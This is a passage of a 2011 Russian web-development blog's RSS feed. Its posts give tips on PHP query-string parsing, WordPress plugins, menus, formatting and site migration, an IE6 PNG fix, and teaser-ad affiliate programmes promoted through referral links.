<p>  <a target="blank" href='http://saintist.ru/wp-content/uploads/2011/02/json2.js'>качаем фикс  JSON is undefined</a>  добавляем  его в head  и все начинает работать</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/02/25/json-is-undefined/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Php как преобразовать строку в переменные, а переменные в строку</title>
		<link>http://saintist.ru/2011/02/18/php-kak-preobrazovat-stroku-v-peremennye-a-peremennye-v-stroku/</link>
		<comments>http://saintist.ru/2011/02/18/php-kak-preobrazovat-stroku-v-peremennye-a-peremennye-v-stroku/#comments</comments>
		<pubDate>Fri, 18 Feb 2011 06:22:19 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1292</guid>
		<description><![CDATA[С необходимостью преобразования строки в переменные сталкиваются довольно часто, например когда получают адрес url и необходимы выделить из него все переменные передающиеся через $_GET. Преобразование делается через функцию parse_str(); допустим $a=http://www.google.com/search?sourceid=chrome&#038;ie=UTF-8&#038;q=saintist.ru при parse_str($a); в области видимости появятся новые переменные $sourceid=&#8217;chrome&#8217;; $ie=&#8217;UTF-8&#8242;; $q=&#8217;saintist.ru&#8217;; второй аргумент функции parse_str($a, $get); позволяет все переменные выгружать не в область видимости [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/02/1376461-300x194.jpg" alt="parse_str &amp; http_build_query" title="parse_str &amp; http_build_query" width="300" height="194" class="aligncenter size-medium wp-image-1294" /><br />
С необходимостью преобразования  строки  в переменные  сталкиваются довольно часто, например  когда получают адрес url  и необходимы выделить из   него  все переменные передающиеся через $_GET.<br />
<span id="more-1292"></span><br />
Преобразование  делается через  функцию<strong> parse_str();</strong></p>
<p>допустим <strong>$a=http://www.google.com/search?sourceid=chrome&#038;ie=UTF-8&#038;q=saintist.ru</strong></p>
<p>при <strong>parse_str($a);</strong> в области видимости  появятся  новые переменные</p>
<p><strong>$sourceid=&#8217;chrome&#8217;;<br />
$ie=&#8217;UTF-8&#8242;;<br />
$q=&#8217;saintist.ru&#8217;;</strong></p>
<p> второй аргумент функции <strong>parse_str($a, $get);</strong><br />
позволяет  все переменные выгружать не в область видимости а в указанный  ассоциативный массив и  на выходе получим</p>
<p><strong><br />
$get['sourceid']=&#8217;chrome&#8217;;<br />
$get['ie']=&#8217;UTF-8&#8242;;<br />
$get['q']=&#8217;saintist.ru&#8217;;</strong></p>
<p>Необходимые манипуляции с  полученными переменными сделали, теперь задача  преобразовать обратно переменные в  строку.</p>
<p>можно  конечно  перебором  foreach собрать из  массива строку</p>
<p>но в php 3.x есть замечательная  функция <strong><noindex><a target="blank" rel="nofollow" href="http://php.net/manual/en/function.http-build-query.php">http_build_query()</a></noindex></strong> благодаря которой  мы избежим  создания очередного велосипеда.</p>
<p><strong>echo http_build_query($get);</strong></p>
<p>получим на выходе</p>
<p><strong>sourceid=chrome&#038;ie=&#8217;UTF-8&#038;q=saintist.ru</strong></p>
<p>дополнительные  аргументы <strong>http_build_query</strong> позволяют задавать разделитель строки url </p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/02/18/php-kak-preobrazovat-stroku-v-peremennye-a-peremennye-v-stroku/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>WordPress Plugin rss2.0 для  news.yandex.ru</title>
		<link>http://saintist.ru/2011/02/14/wordpress-plugin-rss2-0-dlya-news-yandex-ru/</link>
		<comments>http://saintist.ru/2011/02/14/wordpress-plugin-rss2-0-dlya-news-yandex-ru/#comments</comments>
		<pubDate>Mon, 14 Feb 2011 10:47:39 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[мои wordpress plugins]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1282</guid>
		<description><![CDATA[Получил заказ на разработку плагина для отдачи rss заданных рубрик сервису news.yandex.ru, с согласия заказчика выкладываю его для всеобщего пользования. Для установки достаточно скопировать в папку с плагинами или воспользоваться страницей установки плагинов и активировать. После инсталяции в админке появится новая вкладка на странице которой можно выбрать те рубрики которые необходимо отдавать в формате rss [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/02/wordpress-news-yandex-ru-rss20-300x141.jpg" alt="wordpress-news-yandex-ru-rss20" title="wordpress-news-yandex-ru-rss20" width="300" height="141" class="aligncenter size-medium wp-image-1284" /><br />
Получил заказ на разработку плагина  для  отдачи rss заданных  рубрик сервису news.yandex.ru, с согласия  заказчика выкладываю его для    всеобщего пользования.<br />
<span id="more-1282"></span><br />
Для установки достаточно  скопировать в папку с плагинами или  воспользоваться  страницей установки плагинов и активировать.<br />
После инсталяции  в админке появится новая вкладка  на странице которой можно  выбрать те рубрики  которые необходимо отдавать  в формате rss соответствующем  требованиям news.yandex.ru , там же есть сыылки на  rss feed  рубрик. Плагин заменяет  у указанной рубрики шаблон фида своим шаблоном вывода rss под требования yandex.</p>
<p>Прошу  комментировать  всех  заинтересованных, по мере возможностей и  наличия свободного  времени буду вносить правки, править баги и дополнять функционал.</p>
<p>совместим с версией WordPress 3.0 и выше, более раннние версии  не тестировал на совместимость. </p>
<p>Скачать последнюю версию  <a href='http://saintist.ru/wp-content/uploads/2011/02/wp-yandex-rss_-0.1.3.4.zip'>плагина WordPress Plugin rss2.0 для  news.yandex.ru (v 0.1.3.4.)</a>.</p>
<p>Скачать последнюю версию  <a href='http://saintist.ru/wp-content/uploads/2011/02/wp-yandex-rss_-0.1.3.5.zip'>плагина WordPress Plugin rss2.0 для  news.yandex.ru (v 0.1.3.5.)</a>.</p>
<p><strong>update[29 июня 2011 {версия: 0.1.3.4} ]:</strong><br />
1. Заголовки записей в rss теперь пишутся  буквами в нижнем регистре, заглавная  в верхнем<br />
2. Поправил немного обработку спецсимволов в связи с одним  рапортом о баге от пользователя</p>
<pre>
В Ваших экспортных файлах некорректно заменены служебные символы.
  Напомню, встречающиеся в тексте символы < > &#038; ' " необходимо заменять
на соответствующие элементы:
&#038; на & amp;
< на & lt;
> на & gt;
' на & apos;
" на & quot;
(здесь точка с запятой - это не разделитель данного списка, а
обязательная часть элемента!)
Замены должны производиться во всех элементах < item > и < channel > - в
< yandex:full-text >, < link >, < title >, < enclosure > и др.
То есть, символы & laquo; & raquo; нужно приводить к виду: & amp;laquo;
& amp;raquo;
Замечу, что символ кавычек верно заменен на & quot;
</pre>
<p><a  target="blank"  href="http://saintist.ru/wp-content/uploads/2011/02/rss-yandex-news.png"><img src="http://saintist.ru/wp-content/uploads/2011/02/rss-yandex-news-300x140.png" alt="" title="wordpress rss news yandex ru плагин " width="300" height="140" class="aligncenter size-medium wp-image-1411" /></a><br />
<strong>update[4 июля 2011 {версия: 0.1.3.5} ]:</strong> </p>
<p>1. Заголовки  записей в фиде  не более  200 символов, слова обрезаются адекватно</p>
<p><strong>update[19 июля 2011 {версия: 0.1.4} ]:</strong> </p>
<p>1. Добавил  вставку картинок опубликованных в посте в rss через enclosure согласно рекомендациям news.yandex.ru</p>
<p>Скачать последнюю версию  <a href='http://saintist.ru/wp-content/uploads/2011/07/wp-yandex-rss_-0.1.4.zip'>плагина WordPress Plugin rss2.0 для  news.yandex.ru (v 0.1.4)</a>.</p>
<h1> Внимание </h1>
<p>поддержка текущего плагина не будет продолжаться, в связи с разработкой нового, концептуально отличающегося от текущего )) скачать  можно вот здесь <a href="http://saintist.ru/2011/07/20/news-yandex-ru-wordpress-rss2-0/" title="news.yandex.ru wordpress rss2.0 плагин">news.yandex.ru wordpress rss2.0 плагин</a></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/02/14/wordpress-plugin-rss2-0-dlya-news-yandex-ru/feed/</wfw:commentRss>
		<slash:comments>68</slash:comments>
		</item>
		<item>
		<title>gogetlinks.net упал</title>
		<link>http://saintist.ru/2011/02/09/gogetlinks-net-upal/</link>
		<comments>http://saintist.ru/2011/02/09/gogetlinks-net-upal/#comments</comments>
		<pubDate>Wed, 09 Feb 2011 15:27:57 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Новости]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1278</guid>
		<description><![CDATA[Зайдя сегодня на gogetlinks.net увидел вот такую страницу, что-то у них случилось нехорошее, а жаль.]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/02/down-gogetlinks-300x219.png" alt="биржа gogetlinks.net в дауне" title="биржа gogetlinks.net в дауне" width="300" height="219" class="aligncenter size-medium wp-image-1279" /><br />
Зайдя сегодня  на  gogetlinks.net увидел вот такую страницу, что-то у них случилось нехорошее, а жаль.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/02/09/gogetlinks-net-upal/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress -Удалить тег p</title>
		<link>http://saintist.ru/2011/02/01/wordpress-udalit-teg-p/</link>
		<comments>http://saintist.ru/2011/02/01/wordpress-udalit-teg-p/#comments</comments>
		<pubDate>Tue, 01 Feb 2011 16:12:27 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1275</guid>
		<description><![CDATA[При добавлении постов по умолчанию WordPress форматирует введенный текст, заключая абзацы в тег p. Это не всегда удобно. Отключать подобное автоформатирование текста в wordpress можно добавив в файл functions.php темы строчку кода remove_filter (&#8216;the_content&#8217;, &#8216;wpautop&#8217;); если необхожимо выключить автоформатирование только на определенных страницах то в шаблоне страницы перед выводом контента the_content(); необходимо добавить remove_filter (&#8216;the_content&#8217;, [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/02/p_104_lg1-231x300.gif" alt="отключить форматирование в wordpress" title="отключить форматирование в wordpress" width="231" height="300" class="aligncenter size-medium wp-image-1276" /></p>
<p>При добавлении постов  по  умолчанию WordPress форматирует  введенный текст, заключая  абзацы в тег  <strong>p</strong>.</p>
<p>Это не всегда удобно.<br />
<span id="more-1275"></span><br />
Отключать подобное автоформатирование  текста в wordpress  можно  добавив  в файл functions.php  темы </p>
<p>строчку кода</p>
<p><strong>remove_filter (&#8216;the_content&#8217;,  &#8216;wpautop&#8217;);</strong></p>
<p>если необхожимо выключить  автоформатирование  только на  определенных страницах то  в шаблоне страницы  перед выводом  контента</p>
<p><strong>the_content();</strong></p>
<p>необходимо добавить </p>
<p><strong>remove_filter (&#8216;the_content&#8217;,  &#8216;wpautop&#8217;);</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/02/01/wordpress-udalit-teg-p/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Перенос wordpress сайта на другой хостинг</title>
		<link>http://saintist.ru/2011/01/27/perenos-wordpress-sajta-na-drugoj-xosting/</link>
		<comments>http://saintist.ru/2011/01/27/perenos-wordpress-sajta-na-drugoj-xosting/#comments</comments>
		<pubDate>Thu, 27 Jan 2011 10:26:38 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1271</guid>
		<description><![CDATA[Довольно часто случается ситуация когда необходимо перенести сайт на wordpress на другой хостинг, например когда делаеш сайт на заказ у себя на хосте и его нужно залить на хост клиенту. Или же нашел новый более качественный хостинг для своих сайтов . Опишу весь процесс, как перенести wordpress сайт на другой хостинг. 1. Делаем дамп базы [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/01/trezviegruzchiki1-300x225.jpg" alt="перенос  wordpress на новый хостинг, сервер" title="перенос  wordpress на новый хостинг, сервер" width="300" height="225" class="aligncenter size-medium wp-image-1272" /></p>
<p>Довольно часто   случается ситуация когда необходимо перенести сайт на wordpress на другой хостинг, например  когда  делаеш сайт на заказ у себя на хосте  и его нужно залить на хост клиенту. Или же нашел  новый более  <a target="blank" href="http://timeweb.ru"><strong>качественный хостинг для своих сайтов</strong></a> .</p>
<p>Опишу  весь процесс, как  перенести  wordpress  сайт на другой хостинг.<br />
<span id="more-1271"></span></p>
<p>1. Делаем дамп  базы данных. Для этого отлично подойдет скрипт Sypex Dumper тем более если БД  весит много, но можно  воспрользоваться и phpMyAdmin. Sypex Dumper простой в настройке и я не буду на этом останавливаться. Также можно использовать спец плагины . например  <strong>WP-DB-Backup</strong>, но  бывают проблемы с кирилицей.</p>
<p>2. Скачиваем со старого хостинга все  файлы из папаки с ссайтом. Обратить внимание чтобы обязательно  были <strong>.htaccess</strong> и  <strong>wp-config.php</strong>.</p>
<p>3. Заливаем базу и  файлы на новый хостинг. Создаем  новуб базу и туда спомощью Sypex Dumper и заливаем бекап со старого  хоста. Важно: если url по которому будет доступен сайт меняется при переносе то перед заливкой дампа БД на  новый хостинг открываем егов текстовом редакторе и меняем заменой все  встречающиеся   url указывающие на старый  сайт на новые</p>
<p>например:</p>
<p>был сайт на </p>
<p><strong>http://vasya.ru</strong></p>
<p>а перенесли на <strong>http://vasiliy.ru/blog</strong></p>
<p>нужно  будет заменить все  <strong>vasya.ru</strong> на  <strong>vasiliy.ru/blog</strong></p>
<p>Но это  подходит если дамп  базы данных небольшой, как заменить  одно  значение на  другое в базе данных если  она  большого размера  напишу ниже.</p>
<p>4. Открываем на новом хостинге файл wp-config.php, меняем параметры  подключения к БД указывая те что  используются на новом хостинге.<br />
Иакже  нужно прописать для нового  хоста url  сайта  если  он  при переносе изменится.</p>
<p>Делается это так. </p>
<p>Нужно добавить две строчки  в wp-config.php.</p>
<p><strong>define (&#8216;WP_SITEURL&#8217;, &#8216;http://адрес вашего сайта&#8217;);<br />
define (&#8216;WP_HOME&#8217;, &#8216;http://адрес вашего сайта&#8217;);</strong></p>
<p>сохраняем изменения в wp-config.php.</p>
<p>5. Заходим в админку  вашего  сайта на новом хостинге.</p>
<p>6. Если изменился  url  сайта , например  делали сайт на одном хостинге а после переноста  на новом хостинге  он будет доступен  по  другому  url. Если не  поменяли  старые url на новые как указано в 3 пункте то,устанавливаем  плагин Search Regex, и с помощью него меняем  старые  урл на новые в таблице постов wp_posts.</p>
<p>7. Бывают случаи когда плагин Search Regex не работает на  новом хостинге. Тогда через phpMyAdmin делаем замену данных используя запрос</p>
<p><strong>UPDATE wp_posts SET post_content = REPLACE(post_content, &#8216;что найти&#8217;, &#8216;чем заменить&#8217;)</strong></p>
<p>Вот и все.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/01/27/perenos-wordpress-sajta-na-drugoj-xosting/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>wp_nav_menu полная кастомизация через  страницу администратора</title>
		<link>http://saintist.ru/2011/01/26/wp_nav_menu-polnaya-kastomizaciya-cherez-stranicu-administratora/</link>
		<comments>http://saintist.ru/2011/01/26/wp_nav_menu-polnaya-kastomizaciya-cherez-stranicu-administratora/#comments</comments>
		<pubDate>Wed, 26 Jan 2011 11:00:11 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1260</guid>
		<description><![CDATA[Как я уже писал в статье о wp_nav_menu для wordpress начная с третьев версии появилась поддержка навигационного меню с возможностью редактирования из админстраницы. При интернгации подобных меню в темы wordpress сталкиваешся с радом проблем, например адаптации html кода меню генерируемого wordpress в верстку с максимальной кастомизацией. С настройками по умолчанию wp_nav_menu генерирует html код содержащий [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/01/css3menu1.png" alt="css wp_nav_menu" title="css wp_nav_menu" width="550" height="337" class="aligncenter size-full wp-image-1267" /></p>
<p>Как я уже  писал  в статье о  <a href="http://saintist.ru/2010/12/22/wordpress-wp_nav_menu-delaem-svoe-kastomnoe-menyu/">wp_nav_menu для  wordpress</a> начная с третьев версии  появилась поддержка навигационного меню с возможностью редактирования из  админстраницы. </p>
<p>При интернгации подобных  меню в  темы wordpress сталкиваешся с радом проблем, например адаптации html  кода  меню генерируемого  wordpress в верстку с максимальной кастомизацией.<br />
С настройками по умолчанию wp_nav_menu  генерирует  html  код содержащий  только  теги с  атрибутами несущие  чисто  техническую информацию. И максимум что  можно задать это id и класс у  контейнера и  самого  меню.</p>
<p>Конечно  можно написать функции сипользующие хуки и перед  выводом кода меню  модифицировать его, но это не самый легкий вариант, тем более что  в вордпресс  предусмотрен механизм  облегчающий задачу кстомизации  css  меню  сгенерированного  через wp_nav_menu .<br />
<span id="more-1260"></span></p>
<p>Что нужно  сделать?</p>
<p>1. Подключили   поддержку меню в  funtions.php</p>
<p>2. В админке сверху  справа есть вкладка<br />
<img src="http://saintist.ru/wp-content/uploads/2011/01/wp_nav_menu-screen-options.png" alt="wp_nav_menu в вордпресс" title="wp_nav_menu в вордпресс" width="673" height="186" class="aligncenter size-full wp-image-1261" /></p>
<p>жмем ее в появившемся диалоге  зачекиваем   поддержку  css  в разделе <strong>Показывать расширенные свойства меню</strong></p>
<p><img src="http://saintist.ru/wp-content/uploads/2011/01/wp_nav_menu-screen-options-css-300x87.png" alt="wp_nav_menu кастомный css " title="wp_nav_menu кастомный css " width="300" height="87" class="aligncenter size-medium wp-image-1262" /></p>
<p>3. Идем в раздел редактирования меню, выдираем у нашего меню  пункт и редактируем его, теперь там появились дополнительные свойства.<br />
<img src="http://saintist.ru/wp-content/uploads/2011/01/wp_nav_menu-screen-options-css-setup.png" alt="wp_nav_menu назначить свои стили" title="wp_nav_menu назначить свои стили" width="459" height="513" class="aligncenter size-full wp-image-1263" /></p>
<p>Как видите все  просто.</p>
<p>Таким способом можно назначить не только  css стили нои  цель для ссылок в меню и т.п.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/01/26/wp_nav_menu-polnaya-kastomizaciya-cherez-stranicu-administratora/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Тизерная реклама для сайтов женской тематики</title>
		<link>http://saintist.ru/2011/01/17/tizernaya-reklama-dl-ya-sajtov-zhenskoj-tematiki/</link>
		<comments>http://saintist.ru/2011/01/17/tizernaya-reklama-dl-ya-sajtov-zhenskoj-tematiki/#comments</comments>
		<pubDate>Mon, 17 Jan 2011 15:17:59 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Заработок]]></category>
		<category><![CDATA[Партнерские программы]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1248</guid>
		<description><![CDATA[Нашел еще одну партнерку заработка на тизерах, клик в которой стоит 1.00 росийский рубль. Основное отличие от предыдущей тизерной партнерки то что минимальная цена клика стоит 1.00 российский рубль и принимаются сайты женской тематики. Востальные условия участия не отличаются, да и интерфейс аккаунта полный клон pay-click.ru Принимаются русскоязычные сайты. с посещаемостью от 50 хостов в [...]]]></description>
			<content:encoded><![CDATA[<p><noindex><a rel="noffolow" target="blank" href="http://ladycash.ru/?ref=6338"><img src="http://saintist.ru/wp-content/uploads/2011/01/logo_up11-300x81.jpg" alt="" title="logo_up[1]" width="300" height="81" class="aligncenter size-medium wp-image-1249" /></a></noindex><br />
Нашел   еще  одну  партнерку заработка на тизерах, клик в которой стоит 1.00  росийский рубль.<br />
<span id="more-1248"></span></p>
<p>Основное отличие от <a href="http://saintist.ru/2011/01/12/tizernaya-reklama-na-vashem-sajte/">предыдущей  тизерной партнерки</a> то что минимальная цена  клика стоит 1.00  российский рубль   и принимаются сайты  женской тематики.</p>
<p>Востальные  условия участия не отличаются, да и  интерфейс  аккаунта   полный клон  <noindex><a rel="nofollow" href="http://pay-click.ru/?ref=17656">pay-click.ru</a></noindex></p>
<p>Принимаются русскоязычные сайты. с посещаемостью от 50 хостов в сутки (от 300 хостов в сутки  для сайтов на бесплатных хостингах), по статистике за последний месяц.</p>
<p>Должна быть статистика (RamblerTop100, Liveinternet, Top.Mail.ru и др.) либо  возможность предоставить данные внутренней статистики.</p>
<p>Преимущественно чтобы был русский трафик и этот трафик был  в основном с поисковиков.</p>
<p>Объявлений можно показывать на странице неограниченное количество.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/01/17/tizernaya-reklama-dl-ya-sajtov-zhenskoj-tematiki/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Тизерная реклама на  вашем сайте</title>
		<link>http://saintist.ru/2011/01/12/tizernaya-reklama-na-vashem-sajte/</link>
		<comments>http://saintist.ru/2011/01/12/tizernaya-reklama-na-vashem-sajte/#comments</comments>
		<pubDate>Wed, 12 Jan 2011 13:04:05 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Заработок]]></category>
		<category><![CDATA[Партнерские программы]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1231</guid>
		<description><![CDATA[Владея одним или несколькими сайтами рано или поздно приходит мысль их самоокупаемости. Хочется иметь возможность оптимизировать траты за хостинг и домены, а при возможности и поздаработать. Не буду говорить о Google Adsense, это хорошая партнерка но для начинающего не совсем хорошее решение, хотябы потому что планка минимальной суммы вывода довольна высока. Рассмотрим вариант заработка на [...]]]></description>
			<content:encoded><![CDATA[<p><noindex><a rel="nofollow" target="blank" href="http://pay-click.ru/?ref=17656"><img src="http://saintist.ru/wp-content/uploads/2011/01/adsense_teaser-300x220.jpg" alt="Как заработать на сайте" title="Как заработать на сайте" width="300" height="220" class="aligncenter size-medium wp-image-1234" /></a></noindex></p>
<p>Владея одним или несколькими сайтами рано или поздно приходит  мысль их самоокупаемости. Хочется  иметь возможность оптимизировать траты за хостинг и  домены, а при возможности  и  поздаработать.</p>
<p>Не буду говорить о  Google Adsense,  это  хорошая партнерка но  для начинающего  не  совсем  хорошее решение, хотябы потому что планка минимальной суммы вывода  довольна высока.</p>
<p>Рассмотрим вариант заработка на  тизерах.<br />
<span id="more-1231"></span><br />
<strong>Что такое тизеры?</strong></p>
<p>Тизерная реклама &#8212; текстовые блоки с  обязательной тематической картинкой (часто  не тематическая).</p>
<p>Такая реклама эффективнее  обычной когда  размещается текст и  ссылки в нем, без  картинки  за счет того  что  ихображения лучше воспринимаются посетителями. и концентрируют на себе внимание.</p>
<p>Тизерны позволяют максимально монетизировать свой сайт, даже с небольшой посещаемость.</p>
<p>Вы продаете место под  рекламу на своем сайте, а партнерская программа сама определяет что(какие рекламные  обьявления)  и где (на каких страницах учитывая  тематику страниц) показывать.</p>
<p><strong>Рассмотрю тизерную партнерки Pay-Click.ru.</strong></p>
<p><noindex><a rel="nofollow" target="blank" href="http://pay-click.ru/?ref=17656"><img src="http://saintist.ru/wp-content/uploads/2011/01/logo_up1.jpg" alt="Заработать на тизерах" title="Заработать на тизерах" width="192" height="52" class="aligncenter size-full wp-image-1232" /></a><noindex></p>
<p><strong>Какие сайты принимаются в  партнерскую  программу?</strong></p>
<p>Принимаются русскоязычные сайты. с посещаемостью от 50 хостов в сутки (от 300 хостов в сутки  для сайтов на бесплатных хостингах), по статистике за последний месяц.</p>
<p>Должна быть статистика (RamblerTop100, Liveinternet, Top.Mail.ru и др.) либо  возможность предоставить данные внутренней статистики.</p>
<p>Преимущественно чтобы был русский трафик и этот трафик был  в основном с поисковиков.</p>
<p>Объявлений можно показывать на странице неограниченное количество.</p>
<p><strong>Минимальная сумма для выплаты</strong> 15 рублей.</p>
<p><strong>Не принимаются </strong></p>
<p>Нарушающие законы России. Адалт тематики, сайты с агресивной рекламой (pop-up, pop-under, splash и т.п.).<br />
Незавершенные сайты.</p>
<p>Сайты с неуникальным контентом (копипаст), дорвеи и т.п.</p>
<p><strong>Немного статистики:</strong></p>
<p>Не буду акцентировать внимание  какие блоки и где  размещал на   сайте, есть общие приемы, но   для  каждого сайта  желательно индивидуально  подойти к этому вопросу.</p>
<p>Поставил  два  блока на  пару своих сайтов.</p>
<p>Первый посещаемостью около  1500  уников в день, детской тематики.</p>
<p>за первый час показа (прикрутил  около  12:30) 860 показов, 5 кликов, заработок  3.5 рубля.</p>
<p>Вердикт:довольно неплохо</p>
<p>Второй  мелкий блог на  100-150 страниц ,  смежной тематики связанной с интернетом. Примерно 180 уников в день.</p>
<p>за день 460 показов, 18 кликов, заработок за день 12.6 руб.</p>
<p>Вердикт: вполне неплохо.</p>
<p><strong>Выплаты</strong></p>
<p>Выплаты производятся автоматически  по четвергам, выплачиваются заработанные средства за прошедшую неделю с понедельника по воскресенье на  Webmoney R  кошелек.</p>
<p><strong>Итоги:</strong></p>
<p>Почему  именно  про <noindex><a rel="nofollow" href="http://pay-click.ru/?ref=17656">http://pay-click.ru/</a></noindex> ?</p>
<p>До этого   перепробовал  порядка 10  партнерок тизерных,  отдача   от Pay-Click.ru была максимальной.</p>
<p>Для  особо продвинутых:</p>
<p>Важным условием будет то что по тизерам на ваших сайтах  будут кликать  только посетители вашего сайта, а не вы, ваши друзья и знакомые, или же люди специально зашедшие на сайт чтобы нажать на банер (некоторые таким образом  зарабатывают деньги, в сети форумов с подобными предложениями предостаточно).<br />
Это  позволит вам быть спокойным, что ваш аккаунт не заблокируют за накрутку, и не  обнулят счет.</p>
<p>Лучше направить свою энергию в русло развития  собственных сайтов , чтобы они были интересны людям ,  а  хорошая посещаемость один из факторов  хорошей прибыли.</p>
<p>ps: Все сылки  реферальные. всем кто по ним зарегистрируется, помогу  выбрать оптимальное место  для размещения  рекламных блоков  на  их  сайтах, подскажу  и посоветую, дам исчерпывающие ответы  на  возникшие вопроссы по  партнерке. </p>
<p>Комментарии приветствуются</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/01/12/tizernaya-reklama-na-vashem-sajte/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>png ie fix</title>
		<link>http://saintist.ru/2011/01/05/png-ie-fix/</link>
		<comments>http://saintist.ru/2011/01/05/png-ie-fix/#comments</comments>
		<pubDate>Wed, 05 Jan 2011 17:22:52 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[IE6]]></category>
		<category><![CDATA[js]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1222</guid>
		<description><![CDATA[За все время перепробовал достаточное количество решений для корректного отображения прозрачности png в IE. Но это практически идеальное решение, поддерживает прозрачность у фоновых png, сохраняет позиционирование фонового изображения при этом отсуствует искажение. Поддерживает псевдоклассы. Итак что необходимо? Качаем файл DD_belatedPNG подключаем &#60;!&#8212;[if IE 6]&#62;&#60;script src=&#187;/js/DD_belatedPNG.js&#187;&#62;&#60;/script&#62;&#60;![endif]&#8212;&#62; Для того чтобы применить фикс к элементу использующему png необходимо [...]]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-full wp-image-1224" title="png ie fix" src="http://saintist.ru/wp-content/uploads/2011/01/png-ie-fix.jpg" alt="png  ie  fix" width="300" height="137" /></p>
<p>За все  время перепробовал  достаточное количество  решений для  корректного  отображения  прозрачности png  в IE. Но это  практически идеальное решение, поддерживает  прозрачность у фоновых png, сохраняет  позиционирование фонового изображения при этом отсуствует искажение. Поддерживает псевдоклассы.<br />
<span id="more-1222"></span></p>
<p>Итак что необходимо?</p>
<p>Качаем файл <a href="http://saintist.ru/wp-content/uploads/2011/01/DD_belatedPNG.js" target="_blank">DD_belatedPNG</a></p>
<p>подключаем<br />
<strong>&lt;!&#8212;[if IE 6]&gt;&lt;script src=&#187;/js/DD_belatedPNG.js&#187;&gt;&lt;/script&gt;&lt;![endif]&#8212;&gt;</strong></p>
<p>Для того  чтобы применить  фикс  к  элементу использующему png  необходимо   добавить код</p>
<div id="_mcePaste"><strong>&lt;!&#8212;[if IE 6]&gt;</strong></div>
<div id="_mcePaste"><strong>&lt;script type=&#187;text/javascript&#187;&gt;</strong></div>
<div id="_mcePaste"><strong><br />
</strong></div>
<div id="_mcePaste"><strong>DD_belatedPNG.fix(&#8216;.except-top, .except-bottom, img&#8217;);</strong></div>
<div id="_mcePaste"><strong><br />
</strong></div>
<div id="_mcePaste"><strong>&lt;/script&gt;</strong></div>
<div id="_mcePaste"><strong>&lt;![endif]&#8212;&gt;</strong></div>
<p>Таким образом  фикс будет применен ко всем элементам с  классами <strong>except-top</strong> и <strong>except-bottom</strong>  а также ко  всем изображениям</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2011/01/05/png-ie-fix/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Сайт для заработка на партнерке Amazon</title>
		<link>http://saintist.ru/2011/01/05/sajt-dlya-zarabotka-na-partnerke-amazon/</link>
		<comments>http://saintist.ru/2011/01/05/sajt-dlya-zarabotka-na-partnerke-amazon/#comments</comments>
		<pubDate>Wed, 05 Jan 2011 09:59:55 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Заработок]]></category>
		<category><![CDATA[Партнерские программы]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=1213</guid>
		<description><![CDATA[Компания Amazon &#8212; одна из самых успешных компаний строящих свой бизнес в Сети. В основе успеха бизнеса лежит доверие клиентов. Амазон продает товары и услуги через Сеть, и занимается этим уже около десяти лет. Партнерская программа Амазона предлогает продажу их товаров за процент от стоимости. Я сфокусируюсь на основных моментах которые стоит учесть при создании [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://saintist.ru/wp-content/uploads/2011/01/Hidden_Expedition_Amazon_11-300x160.jpg" alt="партнерка от Amazon" title="партнерка от Amazon" width="300" height="160" class="aligncenter size-medium wp-image-1214" /></p>
